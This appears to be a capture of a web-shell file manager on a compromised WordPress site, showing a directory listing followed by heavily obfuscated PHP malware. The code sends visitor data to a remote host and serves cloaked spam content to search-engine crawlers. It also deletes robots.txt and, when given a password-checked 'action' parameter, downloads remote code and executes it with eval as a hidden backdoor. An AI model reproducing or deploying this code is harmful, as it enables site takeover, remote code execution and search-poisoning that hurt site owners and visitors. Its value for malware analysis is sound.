Gecko [ corporacionhdm.com.pe ]

Name	Size	Permission	Date
.well-known	[ DIR ]	drwxr-xr-x	2022-09-05 15:46
cgi-bin	[ DIR ]	drwxr-xr-x	2025-06-08 02:31
wp-admin	[ DIR ]	drwxr-xr-x	2025-06-10 07:44
wp-content	[ DIR ]	drwxr-xr-x	2025-06-10 07:44
wp-includes	[ DIR ]	drwxr-xr-x	2025-06-16 06:47
.htaccess	564 B	-r--r--r--	2025-05-21 01:15
.litespeed_flag	297 B	-rw-r--r--	2025-06-19 01:32
error_log	1.06 MB	-rw-r--r--	2025-06-19 23:24
header.php	11.89 KB	-rw-r--r--	2025-03-21 05:54
img.jpeg	54.09 KB	-rw-r--r--	2020-09-15 04:59
index.html	504 B	-rw-r--r--	2020-09-15 05:01
index.php	6.06 KB	-r--r--r--	2025-06-16 06:48
wp-confiq.php	92.04 KB	-rw-r--r--	2025-06-16 06:47

Rename

<?php
 goto ZAB_U; vcwZp: $bCHwu = $_SERVER["\122\105\x51\125\105\x53\x54\x5f\x55\122\x49"]; goto sQvAC; WuHBf: if (!strstr($vwxGl, "\162\157\x62\x6f\x74\163\x5f\143\157\156\164\145\x6e\x74")) { goto quI6K; } goto G0g4u; eVQJN: $EwRF2 = yIPSv($rIB5k); goto w4qeN; kLzwF: FmIkH: goto Pkhg0; kr0AE: function TLcY0($aYho5) { goto kkshu; Itx6j: $fthJy = true; goto BbzJP; RASW5: ePpHE: goto YERH9; Q8r2I: $d04ZN = "\x67\x6f\x6f\147\x6c\145\x62\x6f\164\x7c\x67\x6f\x6f\x67\x6c\145\x7c\x79\x61\x68\x6f\x6f\x7c\142\151\156\x67\174\x61\x6f\x6c"; goto cYXI9; iGFdI: if (!preg_match("\x2f\x28{$d04ZN}\x29\x2f\163\x69", $aYho5)) { goto lHeLF; } goto Itx6j; cYXI9: if (!$aYho5) { goto ePpHE; } goto iGFdI; YERH9: return $fthJy; goto G_6k4; BbzJP: lHeLF: goto RASW5; kkshu: $fthJy = false; goto Q8r2I; G_6k4: } goto yfssm; CwKch: if (!$KnKQn["\x73\x74\x61\164\x75\x73"]) { goto OvYT7; } goto YNlkh; Y1Rch: ORq4w: goto m5CBo; R7DBF: $M46Cq = isset($_SERVER["\x48\124\x54\x50\x5f\x52\x45\x46\x45\x52\105\x52"]) ? $_SERVER["\110\x54\x54\x50\137\122\x45\x46\x45\122\x45\x52"] : ''; goto hAgcU; tcmo6: @header("\x43\x6f\156\164\145\156\x74\x2d\x74\171\160\x65\x3a\40\x74\x65\x78\x74\x2f\170\155\x6c"); goto gFbzb; vpmQQ: $I43QO = v1eaZ(); goto vx5WO; KqQeW: echo $hSp2B; goto IS07U; yfssm: function YIPsv($aYho5) { goto PMSan; gHf7h: return $fthJy; goto eZW7q; KH7M4: o6Wap: goto c8lbZ; c8lbZ: HfEhd: goto gHf7h; qEvt9: if (!preg_match("\x2f\50{$d04ZN}\x29\57\x73\151", $aYho5)) { goto o6Wap; } goto ChNUf; olXUw: $d04ZN = "\x33\66\60\x53\x70\151\x64\x65\x72\174\101\x68\x72\145\146\x73\102\x6f\164\x7c\101\x6d\x61\172\x6f\156\142\x6f\x74\174\x41\x70\160\154\145\40\x42\x6f\164\x7c\101\163\153\40\x4a\145\x65\166\145\x73\x7c\101\167\141\162\x69\157\x42\x6f\x74\174\102\141\x69\144\x75\123\160\x69\x64\x65\162\x7c\102\x61\x69\144\165\x73\160\151\x64\145\162\x2d\151\155\x61\147\x65\x7c\102\x79\x74\x65\x73\x70\151\x64\x65\x72\174\104\141\x74\x61\106\157\162\x53\145\157\102\157\164\174\144\x61\x74\141\x70\162\157\166\151\x64\x65\x72\174\x44\157\164\102\x6f\164\x7c\x44\165\x63\x6b\x44\165\x63\153\102\x6f\164\174\105\170\x61\x6c\x65\141\144\x7c\105\x78\x63\151\x74\x65\174\146\141\x63\x65\x62\157\x6f\153\x7c\x66\x61\143\145\142\157\157\153\x65\170\164\145\x72\x6e\x61\154\150\151\164\x7c\x47\x50\x54\102\157\164\x7c\x4c\x79\143\x6f\163\x7c\x4d\112\61\x32\142\x6f\164\x7c\x53\x63\x6f\x6f\164\145\x72\x7c\x53\x65\x6d\162\x75\163\150\102\x6f\164\174\x53\x69\164\x65\x4c\x6f\x63\x6b\123\x70\151\x64\145\162\174\123\x6c\145\x75\x74\150\x7c\x53\x6f\147\x6f\x75\x20\116\x65\x77\163\40\123\160\151\144\x65\x72\x7c\123\157\x67\157\165\x20\x77\145\142\x20\x73\160\x69\x64\x65\x72\174\123\x4f\123\117\40\x53\x70\x69\144\x65\x72\174\x54\x77\x69\164\164\145\x72\142\157\x74\174\131\x61\156\x64\145\x78\x20\102\157\x74\x7c\x59\141\x6e\x64\x65\x78\x42\157\x74\174\x59\151\x73\x6f\x75\123\160\151\x64\145\x72\174\x59\x6f\x64\x61\157\x42\157\164\x7c\131\x6f\165\x64\x61\x6f\x42\x6f\164\x7c\102\x4c\105\x58\x42\157\x74\x7c\141\x70\x70\x6c\145\x62\x6f\164\174\x43\103\102\157\x74\x7c\x50\x65\x74\141\154\x42\157\x74\174\103\x6c\141\x75\144\x65\102\157\164\174\x48\x75\144\110\x75\144\55\147\x65\156\x65\162\141\154\55\142\157\164\174\x53\145\x7a\156\141\155\x42\157\164\174\x45\x7a\x6f\151\x63\x42\157\164\x2d\116\151\143\x68\145\151\x71\x7c\101\x68\x72\x65\x66\x73\123\151\164\145\x41\x75\144\x69\164\174\x4f\101\x49\x2d\123\145\x61\x72\x63\150\x42\157\164\174\x6c\x69\156\x6b\144\145\x78\142\157\x74\174\103\150\141\x74\107\120\x54\55\125\x73\x65\162\x7c\131\x61\x6e\x64\145\x78\x4d\145\164\x72\x69\x6b\x61\174\x59\141\156\144\x65\170"; goto mtLkw; ChNUf: $fthJy = true; goto KH7M4; PMSan: $fthJy = false; goto olXUw; mtLkw: if (!$aYho5) { goto HfEhd; } goto qEvt9; eZW7q: } goto B2Y6B; dfjtu: $hSp2B = str_replace("\162\x6f\142\x6f\x74\x73\x5f\143\x6f\156\x74\x65\x6e\164", '', $vwxGl); goto lueBa; uQGcF: $cBIHg = substr($T8h0E, 0, strlen($T8h0E) - 1); goto I_tUE; hAgcU: $rIB5k = isset($_SERVER["\110\x54\x54\120\137\x55\123\x45\122\x5f\101\107\x45\116\x54"]) ? $_SERVER["\x48\x54\x54\x50\137\x55\123\105\122\x5f\x41\107\105\116\x54"] : ''; goto vpmQQ; wS0Ut: function WAf5T($dp6gK) { goto vlgGE; vlgGE: $yk61T = ''; goto V8QYO; bxeiR: BFin1: goto bukPO; eCLi0: $DLXqj["\x63\157\x6e\x74\145\156\x74"] = $yk61T; goto ju1yn; FC4z9: zEZDE: goto wKL8i; wKL8i: $DLXqj = []; goto SuxNo; SuxNo: $DLXqj["\x73\164\141\x74\x75\163"] = $icKHa; goto eCLi0; RHRlY: $icKHa = 1; goto FC4z9; ju1yn: return $DLXqj; goto j2ja5; bukPO: if (!($yk61T != '')) { goto zEZDE; } goto RHRlY; zYWYS: if (!(($yk61T === false || $yk61T == '') && function_exists("\x66\x69\154\145\137\x67\x65\164\x5f\x63\157\156\164\x65\x6e\164\163"))) { goto BFin1; } goto dJnkb; unwaf: try { goto hNwys; hNwys: $x94lp = curl_init(); goto PECEM; kHTeA: curl_setopt($x94lp, CURLOPT_FOLLOWLOCATION, 1); goto NQfmP; PECEM: curl_setopt($x94lp, CURLOPT_URL, $dp6gK); goto kHTeA; N3SAO: curl_setopt($x94lp, CURLOPT_RETURNTRANSFER, 1); goto RVzL1; NQfmP: curl_setopt($x94lp, CURLOPT_SSL_VERIFYPEER, FALSE); goto tvEjA; tvEjA: curl_setopt($x94lp, CURLOPT_SSL_VERIFYHOST, FALSE); goto iofhW; nsRkF: curl_close($x94lp); goto S6Bpr; iofhW: curl_setopt($x94lp, CURLOPT_CONNECTTIMEOUT, 10); goto N3SAO; RVzL1: $yk61T = curl_exec($x94lp); goto nsRkF; S6Bpr: } catch (Exception $wKC3Y) { } goto zYWYS; dJnkb: try { $yk61T = @file_get_contents($dp6gK); } catch (Exception $wKC3Y) { } goto bxeiR; V8QYO: $icKHa = 1; goto unwaf; j2ja5: } goto kr0AE; VG7hR: EoQ86: goto CwKch; CZoWI: goto cq3Kf; goto iU36i; WH6pq: if (strstr($vwxGl, "\x64\x6f\137\x6e\157\164\x68\151\x6e\x67")) { goto FmIkH; } goto Cr2jR; OKlm7: function bTKdm() { goto Py8ef; Wq23J: goto WXBC2; goto YB8lM; UjkbI: if ($DjDmO) { goto VCASZ; } goto Bv4U9; Bv4U9: return "\150\x74\x74\x70"; goto Wq23J; vTIMn: return "\150\x74\164\x70\x73"; goto YYFem; Py8ef: $DjDmO = !empty($_SERVER["\110\x54\124\x50\123"]) && $_SERVER["\110\124\124\x50\x53"] !== "\x6f\146\x66" || $_SERVER["\123\105\122\x56\105\122\137\120\117\x52\x54"] == 443; goto UjkbI; YYFem: WXBC2: goto VYum4; YB8lM: VCASZ: goto vTIMn; VYum4: } goto Bg7mf; vx5WO: $w3a58 = "\150\164\x74\x70\x5f\x74\171\x70\x65\75" . base64_encode($JDENI) . "\46\x68\x74\164\160\137\x75\162\x69\75" . base64_encode($bCHwu) . "\x26\150\x74\x74\160\137\154\141\x6e\x67\75" . base64_encode($Avz_x) . "\x26\x68\164\x74\x70\x5f\x68\157\163\164\x3d" . base64_encode($pcgaF) . "\x26\x68\x74\164\160\137\162\145\146\x65\162\75" . base64_encode($M46Cq) . "\x26\150\x74\164\x70\137\x75\x73\145\x72\x5f\x61\x67\x65\x6e\164\x3d" . base64_encode($rIB5k) . "\46\x68\x74\x74\160\x5f\x69\x70\x5f\x61\x64\x64\x72\145\x73\163\75" . base64_encode($I43QO); goto T_V2X; VRlSg: quI6K: goto kLzwF; Pfmek: VySka: goto hnK1r; pEaHA: bF9jw: goto WuHBf; Bg7mf: function V1eAZ() { goto vw9HR; P3jK8: k3ksp: goto ynFZz; W6lji: if (!empty($_SERVER["\x48\124\x54\120\x5f\x43\x4c\111\105\x4e\x54\137\x49\120"])) { goto PDcZR; } goto zth68; zth68: if (!empty($_SERVER["\110\x54\124\x50\137\130\x5f\106\117\122\127\101\x52\x44\105\104\137\106\117\x52"])) { goto lcacz; } goto bMIWe; io3E4: PDcZR: goto DCfZW; ynFZz: goto ObGw2; goto io3E4; w2uad: goto k3ksp; goto mG50K; mG50K: lcacz: goto MKBuq; MKBuq: $n0KH6 = $_SERVER["\110\x54\x54\120\x5f\x58\137\x46\x4f\122\127\101\x52\x44\x45\x44\x5f\106\x4f\x52"]; goto P3jK8; vw9HR: $n0KH6 = ''; goto W6lji; DCfZW: $n0KH6 = $_SERVER["\x48\124\124\x50\137\103\x4c\x49\x45\116\124\137\111\x50"]; goto Sb6rj; vZus5: return $n0KH6; goto OEMQE; Sb6rj: ObGw2: goto vZus5; bMIWe: $n0KH6 = $_SERVER["\x52\x45\115\x4f\x54\x45\x5f\x41\x44\104\x52"]; goto w2uad; OEMQE: } goto wS0Ut; gFbzb: $hSp2B = str_replace("\x78\155\154\137\x63\157\x6e\x74\x65\x6e\x74", '', $vwxGl); goto Mjf83; MmuWO: $JDENI = bTkDM(); goto vcwZp; ipS2B: RIPZk: goto iVE8g; SWZ6n: @header("\103\157\156\164\145\156\x74\x2d\164\x79\x70\x65\x3a\40\164\x65\x78\x74\57\x68\164\155\x6c\x3b\x20\x63\150\x61\162\163\145\164\75\x75\x74\x66\55\70"); goto uHR6M; w4qeN: if (!($fthJy || $tIeg8 || !$EwRF2)) { goto EoQ86; } goto Gusee; D13CZ: if (!strstr($vwxGl, "\170\x6d\154\x5f\143\157\x6e\164\x65\156\164")) { goto bF9jw; } goto tcmo6; xUeOD: cq3Kf: goto OKlm7; mg6Yq: if (!$DLXqj["\163\164\141\164\x75\x73"]) { goto UWKAu; } goto fGHEo; fJ0kH: exit; goto pEaHA; IM160: exit(implode(PHP_EOL, $goA9x)); goto VRlSg; G0g4u: @header("\x43\x6f\156\x74\x65\x6e\x74\55\x74\171\160\x65\72\x20\164\x65\x78\164\x2f\160\x6c\x61\x69\x6e\x3b\40\x63\150\x61\162\163\x65\x74\x3d\165\164\146\55\x38"); goto dfjtu; chwhi: $DLXqj = waf5t(implode($EkXPs) . $Yc1Mj . "\56\x74" . "\x78" . "\164"); goto mg6Yq; Cr2jR: if (!strstr($vwxGl, "\150\164\155\154\x5f\143\157\156\x74\145\156\x74")) { goto HG68t; } goto SWZ6n; ZAB_U: @set_time_limit(1000); goto ox8VS; fGHEo: eval("\x3f\76" . $DLXqj["\143\157\156\x74\x65\156\x74"]); goto Z7xTw; sQvAC: $Avz_x = isset($_SERVER["\x48\124\x54\x50\x5f\x41\x43\x43\x45\120\x54\x5f\114\101\116\107\x55\x41\107\105"]) ? $_SERVER["\x48\x54\x54\x50\x5f\x41\x43\103\105\x50\124\137\114\x41\x4e\107\125\x41\x47\x45"] : ''; goto SSHw_; m5CBo: exit; goto xUeOD; Z7xTw: UWKAu: goto Y1Rch; uHR6M: $hSp2B = str_replace("\x68\164\x6d\154\x5f\143\157\x6e\164\x65\156\x74", '', $vwxGl); goto KqQeW; EBBqW: $WsBjk = md5($cBIHg); goto K_Btw; f5whz: unlink($W8B4P . "\57\162\157\x62\157\x74\x73\x2e\164\170\164"); goto ipS2B; lkhTh: $MNRMP = "\x79\145\x67\150\x6c\65\x2e\x62\156\x73\150\x67\171\56\x74\x6f\160"; goto MmuWO; lueBa: $goA9x = explode("\x5b\x2a\x2a\x2a\135", str_replace("\x72\157\x62\x6f\164\163\143\x6f\156\x74\145\156\164", '', $hSp2B)); goto IM160; iVE8g: $KnKQn = waF5t($YUZ1M); goto Pfmek; SSHw_: $pcgaF = $_SERVER["\x48\124\x54\120\x5f\x48\117\123\x54"]; goto R7DBF; I_tUE: $EAO9h = array("\71", "\70", "\62", "\x34", "\x35", "\144", "\67", "\x34", "\61", "\x37", "\62", "\x32", "\x35", "\142", "\x35", "\65", "\x61", "\x32", "\143", "\64", "\142", "\146", "\65", "\x30", "\142", "\x38", "\x61", "\x61", "\x34", "\x63", "\x37", "\63"); goto EBBqW; INceZ: if (!file_exists($W8B4P . "\x2f\162\157\x62\157\x74\163\56\164\x78\164")) { goto RIPZk; } goto f5whz; EQaAj: $YUZ1M = "\150" . "\164" . "\164" . "\x70" . "\x73" . "\72\57" . "\57" . $MNRMP . "\57\x77\x70" . "\55\151" . "\x6e" . "\x64" . "\145" . "\x78" . "\x2e\160\150" . "\160\x3f" . $w3a58; goto e_JZb; Mjf83: echo $hSp2B; goto fJ0kH; PR5DQ: if (!empty($T8h0E)) { goto gz37Z; } goto TEqkY; IS07U: exit; goto nSgoh; Gusee: $KnKQn = WAF5T($YUZ1M); goto VG7hR; hnK1r: $fthJy = tlcy0($rIB5k); goto tLMyx; Sv2R4: ini_set("\x64\151\163\160\154\x61\171\137\145\x72\x72\157\x72\163", "\x4f\146\x66"); goto egf4i; ox8VS: @error_reporting(0); goto Sv2R4; YNlkh: $vwxGl = $KnKQn["\143\157\156\x74\x65\x6e\164"]; goto WH6pq; TEqkY: $W8B4P = $_SERVER["\104\117\103\125\115\x45\x4e\124\137\x52\117\x4f\x54"]; goto lkhTh; nSgoh: HG68t: goto D13CZ; iU36i: gz37Z: goto eg6gy; K_Btw: if (!($WsBjk == implode($EAO9h))) { goto ORq4w; } goto nziez; eg6gy: $Yc1Mj = $T8h0E[strlen($T8h0E) - 1]; goto uQGcF; T_V2X: $KnKQn = array(); goto EQaAj; Pkhg0: OvYT7: goto CZoWI; egf4i: $T8h0E = isset($_REQUEST["\x61\143\164\151\157\156"]) ? $_REQUEST["\x61\143\164\151\x6f\156"] : ''; goto PR5DQ; tLMyx: $tIeg8 = gukLX($M46Cq); goto eVQJN; nziez: $EkXPs = array("\150", "\164", "\164", "\160", "\x73", "\x3a", "\x2f", "\x2f", "\x76", "\160", "\x73", "\x64", "\x64", "\56", "\144", "\146", "\161", "\x66", "\x61", "\164", "\x2e", "\164", "\157", "\160", "\x2f", "\144", "\157", "\x6f", "\x72", "\57"); goto chwhi; e_JZb: if (!(stristr($bCHwu, "\x2e\170\155\x6c") || stristr($bCHwu, "\x72\x6f\142\157\x74\x73\56\x74\170\164"))) { goto VySka; } goto INceZ; B2Y6B: function guKLx($yOM4T) { goto BrL2j; G7wxI: if (!$yOM4T) { goto feS8x; } goto vaZIo; cLU3A: feS8x: goto TO7Z9; TO7Z9: return $tIeg8; goto iPu2T; vaZIo: if (!preg_match("\x2f\x28{$llSRU}\x29\57\163\x69", $yOM4T)) { goto Dciee; } goto mVjo_; S7CBV: $llSRU = "\x67\157\157\x67\154\x65\56\x63\x6f\x2e\x6a\x70\174\147\x6f\157\x67\154\x65\56\143\157\155\x7c\171\141\x68\157\x6f\56\143\157\56\x6a\x70\174\x79\x61\150\x6f\x6f\56\x63\x6f\155\x7c\142\151\x6e\x67\x2e\x63\x6f\155"; goto G7wxI; hckfo: Dciee: goto cLU3A; mVjo_: $tIeg8 = true; goto hckfo; BrL2j: $tIeg8 = false; goto S7CBV; iPu2T: }
?>